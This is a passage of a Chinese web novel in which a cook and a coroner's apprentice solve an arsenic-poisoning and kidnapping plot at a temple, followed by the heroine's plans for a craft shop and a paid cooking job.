一路往回返时,褚朝云低声分析道:“白淼淼带的仆从,至少来了三个,一名丫鬟两名小厮,这是我见到过的。至于还有没有其他人,我就不得而知了。” 二人回来之后,见白淼淼正在接受衙差询问,就站在房门口等。 褚朝云手中抱着的妆奁盒确实精美,她借着屋中透出来的光线仔细看了看外观,又跟自己画的那只做了对比,觉得自己设计那款,大概还有些改良的空间。 八宝金翠盒子沉甸甸地,她抱了大概一刻钟,就觉得手臂发酸。 不多时,衙差从房中出来了,清禅也刚好过来询问进度。 “无论如何,明日的素斋宴是不能耽搁的。” 清禅和衙差商议着。 衙差想了想说:“若那贼人当真还在长业寺,那明日庙门大开时,我们会在门口守着,恐怕这长业寺暂且只能是——可进,但不可出了。” 衙差和清禅讨论着关于案子的事,褚朝云和朱力则在旁留心听了一会儿。 尸体抬去旁边之后,老头和宋谨没忙着验尸,倒是先查看了一下那柄匕首。 匕首新旧程度只有五成,边缘磨损严重。 也就是说,拥有匕首之人定是常年使用它,因为攥的久了,所以使用者的虎口难免会留下老茧。 白淼淼是大家小姐,手指干净细腻,这匕首应该不是她的。 不过验尸的时候,宋谨也发现了一件奇怪的事。 白淼淼手掌的虎口处是没有什么可疑痕迹,但死掉的阿财手上,却有着不符小厮身份的深厚老茧。 那老茧就长在虎口,只有反复磨过,才会生出。 宋谨对比了下,刚好就和匕首磨损的程度吻合。 “所以匕首其实是阿财的?” 褚朝云看着二人问。 这会儿宋谨已经出来了,他和朱力、褚朝云说了一下大概情形,三人便都陷入沉默之中。 过了会儿,朱力便道:“假设是阿财想要杀白淼淼,所以借着送点心的名义进来行凶……不对啊,那他怎么还被毒死了?阿谨,验出他是被什么东西毒死的了吗??” “砒霜。” 宋谨回应道:“他的体内有存留的砒霜,还有送去的食物上面,也沾染了不少的砒霜。” 话毕,三人互看一眼。 褚朝云:“白府的老爷脾气急躁,不停地撵走做错事……或者是他认为做错了事的仆从,那正常情况来说,仆从们心中一定会对他怀恨在心。” 朱力点头应和:“估计就是。你看那小丫鬟说话温温柔柔的,但做事明显全是糊弄,若非是白老爷的行事作风伤了他们的心,她又怎会连跟来了几名仆从都不在意。” “所以……是寻仇吗?” 先抛开案子里那些怪异的地方,单说动机,褚朝云觉得很有可能。 而身旁默不作声地宋谨听后,则轻皱了下眉头,“好像……有哪里不大对……” 因为就算寻仇。 也是寻白老爷的仇,和白淼淼有什么关系。 似是想到什么,褚朝云抬头看了宋谨一眼,而后,二人的目光就都下意识落在了她抱着的妆奁盒子。 那八宝金翠的盒子外表流光溢彩,四周不但贴有琉璃和东珠,还有不少纯金打造的花样子。 二人神情微愕,须臾,就异口同声道:“是为了钱财!” 无论怎样,今日这案子是破不了了。 衙差和僧人分别留下几人在厢房这边守着,宋谨就跟着其余人去了男香客居住的地方暂留。 白淼淼的嫌疑大概算是解除了,只是人还有点呆呆地。 褚朝云抱着妆奁盒进了门去,白淼淼就有些期许地看向她。 “你晚上会留下来陪我么?” 整夜留在这里衙差一定不准,褚朝云思虑片刻笑道:“不过晚些时候回去,还是可以的。” 白淼淼安心了些,拿到妆奁盒,就开始摆弄起里面的胭脂水粉跟朱钗来。 这一打开不要紧,盒子里整个就是一金闪闪。 若说外表看着已经算作贵重,那这妆奁盒的内在……只能说是更胜一筹了。 于是,褚朝云更加确定凶手是为了钱财而来,搞不好还是从前留在府中做过事的仆从。 白府一定很豪气,所以才引来了这些豺狼。 就连那个不明不白被毒死的阿财,也未必会是什么好东西。 见白淼淼梳洗打扮的手还在发抖,褚朝云便想让她放松一些。 “白姑娘,有件事不知可否请你帮个忙呢?” 白淼淼吃了她做的糯米丸子,眼下对她印象正好,立刻就答应了。 褚朝云取来纸笔,寻着记忆,把画给方如梅他们的妆奁盒又画一幅,然后本着市场调研的精神问道:“你见多识广,也一定知晓女子们的喜好,那你觉得这妆奁盒好看吗?” “丑。” 白淼淼斩钉截铁。 “……” 褚朝云干笑一声,发现自己好像是没什么这方面的审美。 不过她没有不要紧,这不正坐着一个有的么? 于是她废弃刚刚那幅,把纸笔递过来,“咳咳,白姑娘,我……有一个朋友,她想开个针织铺子。你能不能帮我画一幅喜欢的妆奁盒出来,我好拿回去给她做个参考。” 第74章 一更 能让白淼淼亲自设计妆奁盒,她非但不觉得烦,反而还一副沉浸其中的快乐模样。 而图样画完,白淼淼人也刚好就放松了下来。 她笑着把图样递过来,然后有些兴奋道:“你知道,我为什么要随身带着那八宝金翠妆奁盒么?” 褚朝云其实不太能肯定当中原因,除却像方如梅说的那样“女子爱美”,她倒是想不出第二个理由来。 不过接过图样时,她还是小小的震惊了下。 虽说白淼淼和她都是那么潦草几笔,可对方不愧是见多识广的大家闺秀,接触的好东西多,画出来的自然也是古朴又精美。 相比起自己的那幅—— 褚朝云觉得方才白淼淼说“丑”,都算是比较含蓄的表达了。 她一边看图样,白淼淼一边撑着下巴跟她说话,“因为这个妆奁盒是属于我一个人的,九岁那年阿娘说要送我一只妆奁盒,当时还特地去找了蕤洲有名的老师傅做定制款,所以这八宝金翠的花样子,也是独一无二的。” “是独一无二的,属于我白淼淼一个人的东西哦。” 女子说的满面欢喜。 褚朝云抬头看她,见对方欢喜之后,表情又纠结了下:“不过那时我就没想到要自己亲手画图样,要是有一个地方能把我画的图样给做出来,那就太好了……” 她说着说着,神情就透出了一脸的憧憬,仿佛整个人都陷进去了似的。 不过说者无意,听者有心。 褚朝云心中快速闪过“定制款”三个字,不由得弯唇一笑。 “白姑娘,可否将你家的位置告知于我,你设计的这款,待我……朋友做好了,我着人亲自送去给你。” 话音刚落,对面顿时就激动起来:“真、真的?!” 褚朝云笑着点头,然后又道:“不过先说好了,我朋友开的是针织铺子,所以这妆奁盒所用的材质,也都是一些线和布匹类的物什,没有金银玉器。” “当然,今后你要是再有什么好的创意,自带材料也是可以的~” 她并没有把话说死。 而且搞定制款,买主自带材料也算是一种揽客的新思路吧。 果然,后一句话的威力和诱惑听着更大些。 白淼淼接连说了几声“好”,话匣子也越发收不住:“其实我阿爹对下人太过苛刻,我是真的看不过去,但又无法。” “原本还想着送他们一些什么安抚一下,要不改日我设计一款荷包的图样吧,加些金丝和东珠的那种,他们收了东西,应该会高兴点。” “这倒也是个好主意。” 想到即将有大批量的荷包订单到手,褚朝云就觉得长业寺是块不可多得的风水宝地。 因为可以交到新朋友。 褚朝云毕竟是现世思维,现世里那些销售精英们,不就是会想尽办法去人多的地方,或者说是具有消费能力的群体中去寻觅订单么。 长业寺作为蕤洲第一古寺,香火旺盛之地,连岳知府都要年年过来,想必如白淼淼这般家世显赫的富户,自然少不了。 褚朝云愉快的促成了两笔交易后,见白淼淼也已经好了很多,就自顾自的回房间去睡了。 翌日,她和刁氏、白淼淼三人一起去了食客厅用早膳。 而同来这里的,还有宋谨跟朱力几人。 不过食客厅都是小桌,他们并没坐到一起,而是分坐在挨着的两张桌子上。 小八卦“吸溜”一口寡淡的白粥,非常严峻的跟大家讲了句话:“兄弟们,这案子今日必须要破,我等下就去协助他们再找找线索!” 他这么一说,宋谨和朱力顿时对他刮目相看。 尤其朱力:“我说你小子,咱们这帮兄弟里平时就数你最懒,今个吹得哪股风,一下子把懒病给治好了呢?” 朱力边说边笑,小八卦却一副忍不下去的样子:“哎呀烦死了,我不爱喝白粥!” 朱力:“……” 原来是嫌这里吃的太过清淡。 他们这些人虽说生活上也很清贫,但和寺中膳食比起来,还是要好上许多。 不过说起案子,褚朝云也留心听了一句,随即又看向白淼淼,“昨个你也是太紧张了,现在呢?可好多了?” 白淼淼也不喜欢吃的这么素,奈何带过来的点心不能食用。 她基本没怎么动筷子,只是撑着下巴看大家说话。 听到褚朝云问,就缓缓道:“确实好多了,昨晚还梦到你给我煮的那份糯米丸子。对了,刚醒时,还琢磨了一下荷包的花样子。” 确实心挺大。 褚朝云想。 “那你……可不可以试着回忆下,你们一行到底来了几人呢?” 见褚朝云一直追问这个,白淼淼很是惊讶:“这个很重要吗?” “我说不好,就是直觉。” 白淼淼手指点点额头,眉头往深处蹙了蹙,然后犹疑道:“当时我和丫鬟一直坐在车里,我们是先上的马车,然后就是车夫……” 她咬了下唇,又说:“下车时,阿财帮我提着妆奁盒子,另一人又给我拿了脚凳……好像就是我们几个了。” 白淼淼,车夫,阿财,丫鬟,脚凳男。 宋谨用茶水蘸着在桌上写下这几个人,然后分别在白淼淼,车夫,阿财和丫鬟上面打了个差。 因为车夫赶着马车去了长业寺外,并不在可行凶范围之内,所以自然就被排除了。 这么一来,嫌疑人暂时也算是清晰明了了。 于是由仵作出面去找了衙差,衙差们也是心急破案,就决定在整座寺庙中搜寻一下脚凳小厮的身影。 “我想那人也是嫌疑最大,否则他跑什么?” 朱力想到空空的房间,转过身来和褚朝云说。 “其实这事还不太对。” 宋谨说。 褚朝云在旁赞同道:“白姑娘的钱财多在丫鬟那里,就连八宝金翠妆奁盒也是我从丫鬟那拿来的,求财而已,为什么不直接从丫鬟手中抢?” 褚朝云总觉得自己走进了一个看不见的误区里,好像真相就是那一层窗户纸,捅捅就能破。 可是她和宋谨,眼下就是怎么都捅不到正地方去。 恼火。 褚朝云用干净的布巾擦了下嘴,起身说:“我先去做饭了,等到午时,人就要多起来了。” 她和众位点头示意了下,就迈步往大门外去。 仵作老头目光随着她去到门旁,随即又看回宋谨,而后悠哉地笑了一声:“阿谨,反正一会儿你也没什么事要做,不如去帮帮那丫头,给她打打下手?” 小八卦对师父老人家的想法秒懂,立刻凑热闹的说道:“就是啊宋儿,你这么细心,褚姑娘绝对很喜欢你这个帮工~” 宋谨听不得小八卦胡言,但还是起身追了上去。 宋谨一走,朱力就不由得纳闷道:“师父,您为什么要让阿谨去帮工啊?” 宋小哥是他们的智囊团。 朱力还指望着这人能留下,他们接着讨论讨论,尽快破案大家伙也都能安心。 没成想,老头却眯着眼笑道:“我看他们俩人搭配一块挺好的,保不齐咱们就都省事了。” 褚朝云边往厨房走边打开了手中食单,一共十五道素斋里,她比赛时做的那几样占了三道。 余下的还有许多新开发的菜式。 虽说很多菜也都是第一次尝试去做,但好在提前和程月讨论过注意事项。 有师父指导,她的信心也增添了不少。 听到身后的匆匆脚步声,褚朝云本能回头看了一眼,“哎,你怎么也往那边走?要去哪啊?” “我……咳咳,我去给你做帮工。” 宋谨说着话,耳朵轻轻红了下。 褚朝云看到他腼腆的模样,就觉得有趣。 虽说这人穿着一身朴素的工装,全身上下也没一样值钱的饰品,可自从那晚见到了宋谨本人,褚朝云便大概懂了什么叫做温雅清隽的皎皎君子。 读书时不太脑补的出来,可眼前这人,简直就如书卷里走出来的那般标致。 褚朝云看了眼高高升起的日头,像发觉上学要迟到一样的拉了下宋谨,“快走,等下饭做不完了。” “好。” 宋谨闻言,也跟着她跑了起来。 二人到了门前,等待的僧人瞧见宋谨,像是有些没想到褚朝云会带人来。 褚朝云朝僧人一笑,介绍道:“小师傅,这是我抓来的壮丁,帮忙干活的,就放他进去吧?” 佛门重地,再说这素斋还是做给香客们吃的,自然会有僧人严格把关。 那僧人左瞧右看,忽的发现宋谨身穿的衣裳好像是官家独有的,便礼貌的让开位置,说了一声:“既是官家的,那我也能够放心了,施主请进。” 褚朝云推门而入,快速净了手就去一旁准备米面,她熟练的洗米揉面,然后道:“宋谨,生火~” “好。” 宋谨温和的笑了一下,蹲下身去开始往炉灶里添柴。 没一会儿,热乎气浮上来,很快就将冰冷的厨房给温的暖了。 宋谨第一次见女子做饭的样子。 褚朝云不是什么大家闺秀出身,身上穿的也是最普通的船娘标配,头上包着块深色布巾,脚上就是最大众的棉鞋。 可女子神情专注认真,每每请他做事都会投来一笑。 褚朝云的笑很特别,每次见了,都会叫人眼前一亮。 宋谨的家教不允许他这样盯着一位姑娘瞧,于是他只能尽量让自己也专注些,可余光中,却还是会有女子的身影。 褚朝云干脆利索的弄完了几道菜,一低头,发现火苗小了,就立刻道:“宋谨,再添些柴火吧,锅子要烧的热热的才好用。” “好。” 宋谨伸手去拿柴。 褚朝云就到一旁的水缸里盛清水,但水缸中的水不知不觉用了个干净,她一瓢上来,什么都没盛到。 褚朝云诧然了下,自己到底是什么时候用光了怎么没发现呢?? 于是她只好又说:“宋谨,帮我打一桶水来吧,有点急……” 主要是她手中也有活要干,这一下子独挑大梁做十五道菜,她还真有点手忙脚乱了。 “还好有你!” 褚朝云发自内心的感叹。 可宋谨那边的柴没添完,锅子也没烧热,显然也是不太能走得开。 宋小哥稍微犹豫了下,推门和门旁的僧人说:“可否麻烦小师傅帮忙提一桶水来,我们这里暂时走不开。” 僧人听后立即点头,并抱歉道:“是我们的疏忽,忘记给褚施主找几名帮工了,这么多的事,确实需要合作着来。” 僧人说完,就提着空桶去了井边打水。 而与此同时,听了僧人那句话的宋谨却是微微一怔。 同样愣住的,还有厨房里的褚朝云。 二人下意识碰了下视线,彼此同声道:“合作?” 疑问道出,白淼淼一案里的那些关键因素,似是一下子就被串联了起来。 原本想不通的问题,也随着这句话迎刃而解了。 褚朝云和宋谨想,他们大概知道整件事到底是怎么发生的了。 二人快速做完了饭,看着僧人将十五道菜一一端出去,就一块去找了仵作师父。 按照他们的猜想,这件案子的嫌疑人应该有两位,一个是脚凳男,另一个则是死掉的阿财。 因着白老爷对下人的苛刻,二人或许是心存报复,也或许就是单纯眼红白府钱财。 所以他们有了一次合作。 而合作的目的,却并不是抢白淼淼那点随身财物。 是绑架。 若是能将白姑娘绑了,再由一人回去找白老爷拿钱,他们想要多少,那么就能得到多少。 反正白府又不知是他们干的,为了能早日见到女儿,自然会痛快给银子。 可这里是长业寺,他们带着人到处跑还是麻烦,于是其中一人便心生邪念,想要提前撕票。 死人随便往哪里一藏都方便的很,短暂时间里,并没谁会发现。 可合作这事,总有因利益不均闹崩的时候,大抵是他们争吵过,亦或是其中一人想要独占“收获”。 他们猜测想要独占的这个人,应该是脚凳男。 假设脚凳男预备把阿财和白淼淼一块毒死,而阿财不知计划,以为还是要先绑人,所以才会趁白淼淼毫无防备之时打晕了她。 可他不知自己已经提前吃了有毒的点心,所以打晕对方的同时,自己也毒发身亡了。 而当时的屋子里,一定还存在着第三个人。 也就是脚凳男。 随行丫鬟曾说过,白淼淼每月十五都会来长业寺,而十四这晚所有的僧人要去开法会,自然没谁注意到厢房之事。 可脚凳男没想到小和尚会睡的迟了,晚了法会,他预备将尸首处理掉的时候,小和尚就推门进来了。 小和尚突然发现了尸体,脚凳男的计划也被彻底打乱。 为了把自己摘出去不叫大家疑心,脚凳男趁机把阿财随身的匕首放到了白淼淼身下,做出二人是产生矛盾内斗致死的假象。 临时起意,没谁会算的那么缜密周到。 脚凳男以为白淼淼是被点心毒死了,没想到,之后人又醒了过来。 意外出现,他自然不敢再回去外院的屋子。 “所以,他此刻一定还在长业寺中。” 宋谨轻声说道。 因为寺门关了,而且还有那么多人把守,长业寺周围又都是高墙,除非武功拔尖,否则没有跳出去的可能性。 仵作把衙差叫来,衙差听过他们的推测倒也不是说不认同,可还是提出疑问道:“我们已经搜过寺中不止一遍,确实没发现什么可疑之人,难不成那人还真凭空消失了吗?” 褚朝云见衙差急的挠头,立刻说道:“稍安勿躁这位大人,你们去搜,确实会是这样的效果。如果让清禅师傅跟你们一块,我想很快就能找到人了。” “清禅?” 衙差微微思忖,进而又道:“不是,我说你们的推测里是不是漏掉了什么?你们说小和尚发现尸体时,贼人还在屋中,这不大可能吧?” 小和尚被吓到之后就跑了出去,但也没离开这边太远。 之后就是一群香客们,因着是女香客的住所,所以那些香客也全部都是女子。 现场除了和尚,僧人就是女香客,若真有歹人,大家怎会注意不到? 第75章 一更 他是合理提问,二人自是不恼。 宋谨听后并不急着辩解什么,只是问了一个问题:“事发之后没多久,清禅师傅和朝云姑娘就赶到了,紧跟着,又有僧人赶了过来。” “那么,受到惊吓的小和尚无法去报信,清禅师傅和朝云姑娘也没能顾上,女香客们不认得路更加不太可能,所以,去报信的那个人,又是谁呢?” “你的话是有些道理,可那群僧人就不能是自己听到声音过来的么?” 衙差依旧不解。 宋谨抬手指向讲经堂那处,又比量了一下距离。 衙差瞬间便懂了。 厢房距离讲经堂隔着几重院道和数间大殿,恐怕这里就是敲锣打鼓,那边也不太容易察觉。 又何况只是一声喊叫。 衙差思虑一番,似是有些明白了什么,遂抬头看向他们,表情震惊道:“你、你你——你们是说?” “事情是或不是,等捉到了人,便能明了。” 宋谨默默点了下头。 其实他和褚朝云的推测之中尚有一些细节不通,所以衙差去请清禅师傅之时,他们二人也一直等着那边的消息。 衙差同清禅一路搜寻,期间,便将此事解释了一遍。 虽说当时小和尚吓到腿软无法走路,可若是他忽然看到有僧人打扮的同门过来,便来不及问三七二十一,第一个念头就是会求助对方。 再加上长业寺时有新僧入门,脸生,并不算什么稀奇事。 大抵是脚凳男提前做了准备,穿上了僧袍伪装,这才顺利浑水摸了鱼…… 所以那晚褚朝云看到脚凳男时,才觉得对方哪里奇怪。 那人的头上分明包了厚厚一层帽子状的布巾,脚凳男和阿财同为白府小厮,打扮却完全不同,这种微妙的不和谐感才是引起褚朝云注意的重中之重。 清禅有事要做,方丈空释便亲自过来主持午时的素斋宴。 褚朝云和宋谨站在食客厅外,女子已经戴好了帷帽,尽量不让香客认出她来。 其实她倒也不用过分谨慎,可褚朝云不太想沾上麻烦,万一唐淑和宗匀酌派人过来捣乱,总归还是防备些最好。 此刻,食客厅里正中央被抬了一张方桌进来,紫檀方桌看着如庙堂梁柱般宝相庄严,方桌之上十五道素斋菜式摆成一圈,桌沿四角还雕刻着如海的经藏,不由得就让人生出几分庄重肃然来。 食客厅挨着院道一侧的窗子被打开通风,今日香客实在太多,厅中密密匝匝。 哪怕是冬日,过分的拥挤也会令大家憋闷。 褚朝云偏头看向身边人,笑道:“你不进去吃点么?怎么说也是出了力的~” 宋谨无奈地摇了摇头:“我就……不进去了。” 他还是喜欢清净一点,这般拥挤,宋小哥着实有些受不住。 褚朝云目光转了转,正要拉他离开,朱力和小八卦几人就从身后跑了过来。 小八卦突然从怀中变出一只大碗,敲敲边缘笑哈哈道:“我要去吃饭了嘿嘿!” 朱力无语:“你不是才吃过?” 小八卦扁扁嘴:“怎么说也是宋儿……他的……朋友褚姑娘做的,作为自家人,我是必须要去捧个场的!” 他说完,还自来熟似的对着褚朝云挤眉弄眼。 褚朝云“噗嗤”一乐,觉得这人还挺有意思。 “要去快去,等下被师父看你一直敲碗,明个就要带你去乱坟岗子历练历练。” 朱力故意吓他。 小八卦听后,“嗖”的一下就跑进了门。 褚朝云对这种玩笑不太了解,于是好奇问道:“历练为何要去乱坟岗子?” 宋谨偏过头来,声调温和的给她解释:“我们的本职就是要面对尸体,练胆是第一步,但那个地方……确实不太能被大家接受,所以这名为练胆,慢慢的,也就演变成了惩罚。” 褚朝云脑补了一下仵作凶巴巴要罚他们的样子,却怎么也想不出,那般慈祥和蔼的老头还有如此一面。 最多……只能被她想象成老顽童的样子了。 想着想着,褚朝云觉得实在有意思,就轻轻笑了一声。 她刚展露笑颜,食客厅的窗下,蔡庆就端着饭碗朝她挥手,“朝云朝云!” 褚朝云见蔡庆吃的香喷喷,也抬手朝对方挥了挥。 隔着帽帘,宋谨确实不太能看到她此刻的表情,但只瞧动作,只听笑声,便猜得出女子这会儿一定很是高兴。 是因为蔡庆喊她了吗? 宋谨微垂下眼,心中有些说不出的酸涩。 正当他捉摸不透自己为何会产生这样奇妙的感觉时,褚朝云就伸手在他眼前晃了晃:“喂~宋谨?宋小哥??你在听我说话吗?” 纤细的手使劲晃两下,差点搅碎那投射下来的一缕日光,宋谨忙回过神来,声音很轻的说了句“抱歉”。 “走啦。” 褚朝云拍了他一下。 不过刚刚女子的话他没听到,也不知褚朝云要带他去哪里。 只是见朱力还在身边,就下意识抬头看了看人。 朱力此刻的表情也很是奇妙,而奇妙中还多了几分藏着的笑意,他大方的摆手道:“你们俩去吧,我就不跟着了。” 宋谨:“?” 不待宋小哥反应过来什么,人就已经被褚朝云给拉走了。 褚朝云带着他从院道一侧回了厢房。 一到近前,宋谨才猛地顿住了脚步。 虽说这只是长业寺暂住的厢房,但褚朝云住在里面,也算半个女子的闺房了。 褚朝云叫他进去。 宋谨愕然,正张口要说“不可,君子当——”话未完,就被褚朝云给推进去了。 宋谨:“……” 厢房窄小,一眼就能望得到头,除却方桌上的几小碗饭菜,屋子内就只剩下一点干花的香气。 褚朝云一直用着春叶给她的干花,所以住过的地方就也染上了些。 她随手关了房门,坐到方桌前拿起筷子夹菜吃,见宋小哥还呆呆地站着,就用努努嘴巴,“忙活了几个时辰,你不饿吗?” 宋谨认出来了,那些菜正是他们二人方才一起做过的素斋,只是分量很小,大概每种就盛出来一小碗的样子。 这是长业寺的规矩,做出来的素斋,掌厨自然要尝一尝。 方便改进,而且也是寺庙上下对她的谢意。 宋谨方才怔愣之时,褚朝云就问过他要不要去吃点午饭。 而朱力虽说一开始没往别的地方去想,但小八卦围着他念经念了好半晌,他就也留心注意了一下。 褚朝云和宋谨好像……特别的,合拍? 至少,他没见过宋谨对除了褚朝云之外的姑娘上过心。 未免打扰二人叙话,他肯定是不会跟着来的。 听见褚朝云问,宋谨才局促的笑了一下,然后端端正正坐下来,拿着筷子和褚朝云一块用饭。 不多时,这边的饭吃完了,衙差也派人过来寻他们二人去后山汇合,因为那个脚凳男被抓住了。 褚朝云和宋谨即刻赶了过去,远远就瞧见那脚凳男一副僧人打扮,正被衙差们押着动弹不得。 既然抓到了人,那么案件也就彻底清晰了。 脚凳男名叫王午,早年跟刘阿财一直混迹在青州来蕤洲的那片山头。 那山头是有匪首的,奈何岳常上任后大力治理过一阵子,匪首被打死了,其余匪患下了大狱,他们二人则成了漏网之鱼。 岳常管制有力,山匪是做不成了,一日见白府上招看院的小厮,他们二人就一块来了。 白老爷待下确实苛刻,但他们并不在意。 因为二人的本意只为弄钱。 自从得知白淼淼有每月十五都来长业寺的习惯后,他们就决定干一票大的,然后彻底离开蕤洲。 可是来的途中二人起了争执,刘阿财坚持只绑人不撕票,得到的钱财还要拿大头。 可主意是王午想的,他自然不肯。 所以王午就起了歹念,想把俩人一块结果算了。 因为时间紧任务急,白淼淼只住一晚就会回去,再加上十四那晚和尚们都聚在讲经堂开法会,这便是最好的下手机会。 王午佯装同意刘阿财的计划,却事先在那碟点心里加了砒霜。 他们二人毕竟当过山匪,砒霜用过很多次,对下毒的分量和多久毒发掌握深刻,所以这对于王午来说,并非难事。 他原本想先哄骗刘阿财吃了点心,神鬼不觉的毒死了他,然后再去杀白淼淼。 但也因怕被刘阿财尝出端倪,所以不敢下的太重。 刘阿财本就经常偷白淼淼的点心吃,自然会上当。 可王午去了一趟茅房回来,发现刘阿财并没等他,而且已经端着点心去找白淼淼了。 王午心惊之下,只好追了上去。 六块点心剩下五块,不知吃食中有毒的刘阿财见他跟来,还顺手递去一块:“给,你也尝尝,这好东西只有白府才做得出来。” 王午忙推脱说不饿。 二人一起来到白淼淼门前,王午转转眼珠,借口自己还要去一趟茅房,就先躲去树后换了随身带着的僧袍。 僧袍是早就备好的,就等着东窗事发做隐蔽之用。 因着下毒的分量偏轻,王午知晓刘阿财并不会那么快就死掉,所以他换好僧袍凑到门旁,还准备来个螳螂捕蝉黄雀在后。 可这一挨近,却发现里面不太对劲,因为屋里一点声音都没有,就跟没有活人一样。 他心中不解,遂推门进去查看。 但这不看不知道,一看却着实吓了一大跳。 刘阿财竟比他预计的毒发时间要早了一会儿,而白淼淼此刻也已经趴在了地上。 桌上的点心碟子里只剩下四块,可他明明记得有五块来着。 难道白淼淼吃了一块? 那为什么,她会跟刘阿财一样的时间毒发?? 便在此时,王午弄不懂状况那刻,小和尚奔跑的脚步声就突然出现。 他脑中电光一闪,生怕对方会发现这里的异常,顺手就把腰间别着的匕首塞到了白淼淼身下,然后自己则滑进了床下躲藏。 之后,小和尚果然推门望了进来。 只是那和尚不过几岁,一见到地上的刘阿财口唇发紫,像是中毒死去的样子,就吓得脚下一空,从台阶上摔了下去。 王午趁机从屋子里溜出,又装作突然赶来,将小和尚扶起了身。 小和尚叫他去给方丈报信,王午顺着就应下了。 他当然不想去报信,可一个僧人出现在这里实在突兀,未免事后查起来小和尚提到这事,他只好在讲经堂门前拦住一人,简单说了几句。 之后,他就一直躲在后山装成扫地的僧人,等着能够逃出去的机会。 王午垂头丧脑的讲完原由,突然啐了一口:“呸,妈的!早知道就一刀捅了刘阿财那个蠢货,怎么会生出这许多麻烦事来!” 王午不选择捅死这种方法,当然只是因为外院人多不好下手,而且,若是那血渍崩的到处都是,他也没办法解释。 下毒死的安然,大不了他骗和尚说刘阿财睡着了,之后再想办法把尸体弄出去就是。 即便之后事发,他也早已拿了银钱远走高飞。 这么一讲,褚朝云和宋谨也明白了问题所在。 因为少了的那一块点心并不是白淼淼吃的,刘阿财递给王午但王午不肯吃,对方或许还认为他是不识货的土包子。 结果,正因为自己多吃了一块点心,所以才加速了毒发身亡的时间。 这起案件顺利侦破,素斋宴也随之结束。 褚朝云做的十五道素斋深得香客们喜爱,众人一传十十传百,很快便在蕤洲的各个角落里悄然传开了。 她带着白淼淼的妆奁盒图样回到船上时,徐香荷跟方如梅正在隔间里研究她留下的原版,只是二人手中能用的材料不多,所以研究进度也不太快。 褚朝云见他们如此热情高涨,自己心中也多了几分干劲。 “喏,你们看看这个如何?” 她将白淼淼设计的图样铺开在脚凳上,徐香荷跟方如梅就共同“哇”出来一声。 尤其是徐香荷,拿着那图样左瞧右看很是稀罕,“朝云,这长业寺可真是一处好地方啊。方婶子你看,她才去了一夜,这画图样的功夫就突飞猛进了!” 方如梅也如是赞叹:“可不就是,你看这花样描的,咱们手里这张旧的,简直就不能比了呀!” 徐香荷:“要是按照这一张来做,我倒是更有信心了些。” 方如梅:“保不齐一摆出去,那些富户们就抢着要买了呢!” 二人你一言我一语夸个不停,褚朝云在旁却听得哭笑不得,喜的是白淼淼的设计思路果然精巧,悲的则是她自己,难道她在这方面竟然毫无天赋? 她讪讪一笑,起身尴尬道:“那你们就想想需要的材料吧,我好拜托宋小哥去买回来。” 答应白淼淼的这一只妆奁盒她肯定要先做,但选铺子也是件挠头的事。 需要雇个人看铺子不说,而且如今租船每月就得拿出五两,再加上其他的开销。 正规的铺子她恐怕租不起,还需再想想其他办法。 夜晚很快来临,今个宋谨有公事在身不能来她这里,便改由朱力过来送东西。 其实最初得知宋谨和褚朝云联系上了时,朱力多少有些纠结,他看得出宋谨对褚朝云的特别,也知对方心中一直惦记花船之事。 朱力怕宋谨太过上心,又会重蹈覆辙去查这条船。 但褚朝云实在帮了他和曾茹太多,他自己本也不是个狼心狗肺之人。 所以慢慢的,也就想通了。 万一他们真能有个好一点的结果呢。 褚朝云见今个是朱力过来,想到这人家中还有个小娃,就把自己新粘的一个糖人送给了他。 朱力心中感激,接过之后又恳切道:“褚姑娘,我娘子得知你如今贵为长业寺掌厨,且她祖母又是吃斋念佛之人……所以她想托我问问你,能否去曾家,给祖母做一顿素斋?” 曾家在青州也是富户,素斋不能白做,而且银钱也必定比长业寺给的丰厚。 况且褚朝云也不用去青州,自从曾茹和曾老太太和好之后,曾老太太连年节都是在榆树胡同的宅院过的。 只要下船,去一趟榆树胡同便好。 朱力说了个数字出来,褚朝云则激动地一夜都没睡着觉。 一早起来,脑子里还不停地飘过“二十两”这三个字。 褚朝云醒了醒神,突然笑自己可真没见识。 区区二十两就要失眠了。 等到程月过来,她把此事说了一遍,程月自是为她高兴,“大祁厨娘还是很受人尊捧,你的名字既然写在了名厨册上,有人请着上门去做饭,这是一定的。只不过——” 她说着,就瞟了眼外面正在吩咐大家做事的钟纯心,神情里多了几分纠结。 这事若要能成,还是要钟管事点头。 褚朝云杵在原地半刻,心想,为了二十两,这必须得去啊。 于是,她给了程月一个坚定的目光,“我去跟她商量!” 说着,就走去船头。 第76章 二更 褚朝云是抱着谈判必胜的态度来找钟纯心的。 她正瞌睡着,曾家就送来了枕头,这好事简直不亚于天上掉钱给她。 有了二十两,也免得她再去愁那铺子的租金,至少也能先顶一阵子的吧。 褚朝云几步走到钟管事面前,女子一张小脸笑眯眯地,张口便说了句,“昨晚睡得可好呀,管事?” 她这么一句问出自己倒没觉得如何,可是把身旁站着的几名船娘给吓得不轻。 毕竟从没有人敢跟钟管事嬉皮笑脸。 大家一看她冷着的脸子,心就发颤。 其实褚朝云也说不好自己为何这样大胆,或许是几次接触下来,感受到了对方隐隐地善意。 尤其是囡囡的小铃铛,没有钟纯心拿出那只真的,刁氏不会安心。 因为假的永远变不成真的。 她和宋谨仿的那只,刁氏一早就看透了。 褚朝云现在是船娘们的主心骨,大家自然怕她出事,有人想硬着头皮打句岔把褚朝云拉走,钟管事就抬抬下巴,示意她去一边说话。 二人站到避开人群的角落里,钟纯心便哼笑一声:“突然关心我,你会这么好心?” “我一直都很好心啊。” 褚朝云倒是回答的光明磊落。 钟管事不置可否,偏眼扫量她一下,似笑非笑道:“下次问别人之前,先照下镜子。” 褚朝云失眠了整晚,此刻眼窝处正挂着两只浓浓的黑眼圈,再加上她伙食改善之后皮肤越发白了,黑眼圈就更明显了。 女子哑然。 钟管事也不理会,而是又道:“是哪家,要请你这位名厨去做饭?” 猜得真准。 褚朝云心生佩服,不过既然人家都打开天窗说亮话了,她当然也不再拐弯抹角,“是曾家,说是青州来的,现下就住在榆树胡同。” “曾家……” 钟纯心思量片刻,嗤笑一声:“似乎也是个青州的富户。” “这我还真不清楚。” 褚朝云开始装糊涂。 她是程月唯一的徒弟,所以曾家能找到她,钟纯心只会认为他们是通过程月的途径,万万也想不到曾家跟朱力,朱力跟她还有一层奇妙的渊源。 所以她不能直白的把什么都告诉钟管事,若是被发现了在另说。 钟纯心又在风中站了一会儿,忽的转过半个身,有些好奇道:“不就是素斋么,真那么好吃?” “这……就要问香客们了。” 她确实不好自夸。 